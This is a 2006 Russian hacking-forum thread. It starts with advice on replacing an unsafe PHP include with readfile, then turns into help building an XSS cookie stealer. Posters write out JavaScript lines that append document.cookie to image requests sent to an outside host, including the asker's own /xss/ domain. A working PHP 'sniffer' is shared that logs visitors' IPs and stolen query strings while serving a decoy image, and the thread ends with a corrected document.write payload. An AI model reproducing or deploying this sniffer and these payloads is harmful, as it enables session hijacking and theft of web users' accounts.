Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Безопасное использование include (https://forum.antichat.xyz/showthread.php?t=19101)

EST a1ien 14.05.2006 18:47

Безопасное использование include
 
Есть скрипт ему передаётся параметр img.
Например script.php?img=http://site.ru/img.gif
Дак вот я зделал такую проверку
PHP код:

if (!strstr($image,'.gif')=='.gif') {$image='sm.gif';} 

Дальше идёт
PHP код:

Header("Content-type: image/gif");
include(
$image); 

Тоесть файл обязательно должен быть .gif , но этого недостаточно так как в img.gif может быть PHP код и он выполнится ведь так??
Если да то как от этого защитится??
-------------------------------
И ещё один вопрос как отобразить через javascript картинку которая является снифером.
Например
Код:

img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;
Img.gif это php скрипт который выводит картинку но таким javascript'ом она невыводится только тырятся куки , а нужен скрипт который и тырит куки и отображает картинку, если это возможно.

nerezus 14.05.2006 19:57

Что за бред? Зачем инклюдить, кстати: Юзай http://us3.php.net/readfile =)

LoFFi 14.05.2006 19:58

попробуй
PHP код:

<?
...
if (!
strstr($image,'.gif')=='.gif') {$image='sm.gif';}  
header("Content-Type: image/gif");
$ff fopen($image,"rb");
fpassthru($ff);
fclose($ff);
?>


LoFFi 14.05.2006 20:04

Да, и вот тебе пример сниффа....

PHP код:

<?
$query 
$_SERVER['QUERY_STRING'];
$ip $_SERVER['REMOTE_ADDR'];

if(!
file_exists("log.txt")) fclose(fopen("log.txt","w"));
$out fopen("log.txt","a");
fputs($out,"IP:".$ip."Query:".$query);
fclose($out);

header("Content-Type: image/jpg");
$img fopen("image.jpg","rb");
fpassthru($img);
fclose($img);
?>


EST a1ien 14.05.2006 20:13

На первый вопрос ответили всем спасибо.
Теперь бы хотелось услышать ответ на второй.

nerezus 14.05.2006 20:23

2. Фильтровать все вводимые значения.

Trinux 15.05.2006 07:14

Ага, с добрым утром всех.
getimagesize() еще никто не отменял. Да и как правильно заметил nerezus, readfile более оптимальное решение для поставленной задачи. Тестировал скорость работы readfile и include (хотя че тут тестить - ежу понятно что include тормознее в разы). Да и потом если ты делаешь header() с заголовком картинки, а потом readfile()...

Насчет твоего второго вопроса - все просто, скрипт подкинул LoFFi.

2 LoFFi
в данном примере проще юзать readfile, чем fopen.

EST a1ien 15.05.2006 07:42

Всё с первым я уже разобрался, просто забыл про readfile совсем из головы вылетела, что можно читать, а не инклудить файлы.
А на второй вопрос я так и неполучил чёткого ответа.

Trinux 15.05.2006 07:54

Цитата:

А на второй вопрос я так и неполучил чёткого ответа.
ошибаешься

EST a1ien 15.05.2006 08:24

И гдеже ответ на второй вопрос
Цитата:

И ещё один вопрос как отобразить через javascript картинку которая является снифером.
Например Код:
img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;


Img.gif это php скрипт который выводит картинку но таким javascript'ом она невыводится только тырятся куки , а нужен скрипт который и тырит куки и отображает картинку, если это возможно.

Trinux 15.05.2006 09:07

2 EST a1ien
А это и есть ответ на второй вопрос...
Цитата:

Сообщение от LoFFi
Да, и вот тебе пример сниффа....

PHP код:

<?
$query 
$_SERVER['QUERY_STRING'];
$ip $_SERVER['REMOTE_ADDR'];

if(!
file_exists("log.txt")) fclose(fopen("log.txt","w"));
$out fopen("log.txt","a");
fputs($out,"IP:".$ip."Query:".$query);
fclose($out);

header("Content-Type: image/jpg");
$img fopen("image.jpg","rb");
fpassthru($img);
fclose($img);
?>



EST a1ien 15.05.2006 09:27

Если открываеш таим javascriptom то какртина не отображается, а надо чтобы и картинка отображалясь и куки тырились.
А снифер тут непричём он картину то так выводет а через javascript нет.
Вот к примеру ссылка на html с этим скриптом http://est.jino-net.ru/1.html
Здесь даже наптсано
Код:

img = new Image(); img.src = "http://est.jino-net.ru/xss/sm.gif";
Даже так он картину неотображает.
sm.gif - обычная каринка.

Trinux 15.05.2006 09:58

2 EST a1ien
короче, ты споришь ни о чем. Да, мне лень описывать принцип работы подобного сниффера. но не потому что я ленивая скотина, а потому что это способ описан уже 300 раз и используется каждым вторым!

EST a1ien 15.05.2006 10:48

Да блин мы общаемся на разных языках.
Я говорю про javascript а ты про php снифф.
А прошу сказать как при помощи js отправить запрос к снифу но при этом мне надо что бы отобразилась картинка.
Просто вот таким скриптом
Цитата:

img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;
Отправляются куки, но неотображается картинка.
А вот таким
Цитата:

document.write('<img src="http://est.jino-net.ru/xss/s.php"+document.cookie>');
Отображается картинка но неотправляются куки.
А мне надо чтобы и картинка отображалась и куки отправлялись.
Хотя я уже и без вас понял как это зделать просто запихнуть вот такой скрипт
Цитата:

img = new Image(); img.src = "http://site.ru/img.gif?"+document.cookie;
document.write('<img src="http://site.ru/img.gif">');

Trinux 15.05.2006 11:07

лол. EST a1ien, прежде чем ругать людей, которые пытаются тебе помочь, разбирись со своей задачей и попробуй грамотно выложить ее в своем посте.

Егорыч+++ 15.05.2006 11:20

Цитата:

Сообщение от EST a1ien
Да блин мы общаемся на разных языках.
Я говорю про javascript а ты про php снифф.
А прошу сказать как при помощи js отправить запрос к снифу но при этом мне надо что бы отобразилась картинка.
Просто вот таким скриптом

Отправляются куки, но неотображается картинка.
А вот таким

Отображается картинка но неотправляются куки.
А мне надо чтобы и картинка отображалась и куки отправлялись.
Хотя я уже и без вас понял как это зделать просто запихнуть вот такой скрипт

По document.write('<img src="http://est.jino-net.ru/xss/s.php"+document.cookie>');
куки не будут писаться, потому что и не должны так писаться. Просто ошибка в этой строчке (где не скажу).

EST a1ien 15.05.2006 13:54

2Trinux я тебя неругал сори если чтото непонравилось как я говорил.
2Егорыч+++ document.write('<img src="http://est.jino-net.ru/xss/s.php?"+document.cookie>');
Правильно если нет то просьба подсказать.

EST a1ien 15.05.2006 14:01

Короче чтобы небыло непоняток выражу свою мысль еще раз.
Допустим есть снифер http://site.ru/s.gif который отображает картинку.
Дак вот мне нужен javascript который пошлёт куки и отобразит картинку.

Егорыч+++ 15.05.2006 14:12

Цитата:

Сообщение от EST a1ien
2Trinux я тебя неругал сори если чтото непонравилось как я говорил.
2Егорыч+++ document.write('<img src="http://est.jino-net.ru/xss/s.php?"+document.cookie>');
Правильно если нет то просьба подсказать.

document.write("<img src="http://est.jino-net.ru/xss/s.php? "+document.cookie+">");


P. S. Послать куки только вставляя одну картинку НЕЛЬЗЯ. Куки бирутся ява скриптом.

EST a1ien 15.05.2006 14:26

Ага большое спасибо.


Время: 17:43